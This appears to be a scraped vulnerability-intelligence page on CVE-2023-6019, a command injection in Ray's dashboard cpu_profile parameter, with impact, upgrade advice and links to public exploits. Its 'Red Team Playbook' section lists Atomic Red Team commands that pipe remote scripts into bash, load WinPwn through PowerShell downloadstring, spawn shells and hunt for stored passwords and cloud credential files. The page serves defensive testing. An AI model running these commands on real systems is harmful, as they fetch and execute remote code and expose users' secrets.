CVE-2023-6019
Overview
This vulnerability is a command injection flaw originating from improper input validation of the cpu_profile URL parameter in the ray dashboard component. The root cause is the unsanitized incorporation of user-supplied input into system command execution contexts, enabling arbitrary OS command execution. The affected feature is the ray dashboard's cpu_profile endpoint, which processes URL parameters without adequate filtering or escaping.
Vulnerability Description
A command injection existed in Ray's cpu_profile URL parameter allowing attackers to execute os commands on the system running the ray dashboard remotely without authentication. The issue is fixed in version 2.8.1+. Ray maintainers' response can be found here: https://www.anyscale.com/blog/update-on-ray-cves-cve-2023-6019-cve-2023-6020-cve-2023-6021-cve-2023-48022-cve-2023-48023
Impact
An unauthenticated remote attacker can execute arbitrary operating system commands on the host running the ray dashboard by exploiting the cpu_profile URL parameter. This enables full system compromise, including data exfiltration, service disruption, or lateral movement within the network. The vulnerability requires only network access to the ray dashboard and no user interaction or privileges, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N. This elevates the risk of unauthorized control over affected systems in production environments.
Solution
Upgrade the ray-project/ray software to version 2.8.1 or later, where the command injection vulnerability in the cpu_profile URL parameter has been addressed. Refer to the official vendor advisory at https://www.anyscale.com/blog/update-on-ray-cves-cve-2023-6019-cve-2023-6020-cve-2023-6021-cve-2023-48022-cve-2023-48023 for detailed patching instructions and additional mitigation guidance. No alternative workarounds are documented; applying the update is required for remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability exists within the Ray framework, specifically in the handling of the cpu_profile URL parameter. This flaw allows for command injection, enabling an attacker to execute arbitrary operating system commands on the server hosting the Ray dashboard. The vulnerability arises from insufficient input validation, which fails to sanitize user input adequately. As a result, an attacker can manipulate the URL to inject malicious commands, leading to unauthorized access and control over the system. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a serious risk to affected systems.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving the manipulation of HTTP requests sent to the Ray dashboard. An attacker could craft a malicious URL that includes payloads designed to execute system commands. Since the vulnerability does not require authentication, any unauthenticated user with network access to the dashboard can initiate an attack. This scenario is particularly concerning in environments where the Ray dashboard is exposed to the internet or inadequately secured networks. Once an attacker gains command execution capabilities, they can perform a range of malicious activities, including data exfiltration, system compromise, or deploying further malware.
The real-world impact of this vulnerability can be significant, particularly for organizations that rely on the Ray framework for distributed computing and machine learning tasks. Successful exploitation could lead to severe business risks, including data breaches, loss of sensitive information, and potential regulatory penalties. Additionally, the ability to execute arbitrary commands could allow attackers to pivot to other systems within the network, escalating their access and causing widespread damage. The financial implications could be substantial, encompassing both immediate remediation costs and long-term reputational damage.
To detect and mitigate this vulnerability, organizations should prioritize updating their Ray installations to version 2.8.1 or later, where this issue has been addressed. Regular patch management practices are essential to ensure that all software components are kept up to date. In addition to applying patches, organizations should implement robust input validation and sanitization mechanisms to prevent command injection vulnerabilities in their applications. Employing web application firewalls (WAFs) can also help detect and block malicious requests targeting the dashboard. Furthermore, restricting access to the Ray dashboard through network segmentation and implementing strong authentication measures can significantly reduce the attack surface.
In conclusion, the command injection vulnerability in the Ray framework represents a critical threat to organizations utilizing this technology. The potential for unauthorized command execution poses significant risks, necessitating immediate attention from security teams. By adopting proactive detection and mitigation strategies, organizations can safeguard their systems against exploitation and maintain the integrity of their operations. Continuous monitoring for suspicious activity and adherence to security best practices will further bolster defenses against such vulnerabilities in the future.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ray Project | Ray | N/A |
cpe:2.3:a:ray_project:ray:-:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Ray cpu_profile command injection
exploits/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019
|
sierrabearchell, byt3bl33d3r <[email protected]>, Takahiro Yokoyama | Unknown | - | View |
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Ray OS v2.6.3 - Command Injection RCE(Unauthorized) | Fire_Wolf | webapps | python | - | View |
GitHub PoCs (4)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
joaquinrrr/CVE-2023-6019
PoC exploit for CVE-2023-6019 - Remote Code Execution via unauthenticated Ray Dashboard Jobs API.
|
joaquinrrr | 6 | 0 | 2026-06-19 | View |
|
Clydeston/CVE-2023-6019
Python POC for CVE-2023-6019 taken from https://huntr.com/bounties/d0290f3c-b302-4161-89f2-c13bb28b4cfe
|
Clydeston | 2 | 0 | 2024-04-21 | View |
|
FireWolfWang/CVE-2023-6019
Ray OS Command Injection RCE(Unauthorized)
|
FireWolfWang | 1 | 0 | 2024-04-10 | View |
|
Zohaibkhan1472/cve-2023-6019
|
Zohaibkhan1472 | 0 | 0 | 2025-10-28 | View |
Threat Feed
2 eventsProof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-6019 |
| huntr.com |
GitHub CVE
|
https://huntr.com/bounties/d0290f3c-b302-4161-89f2-c13bb28b4cfe |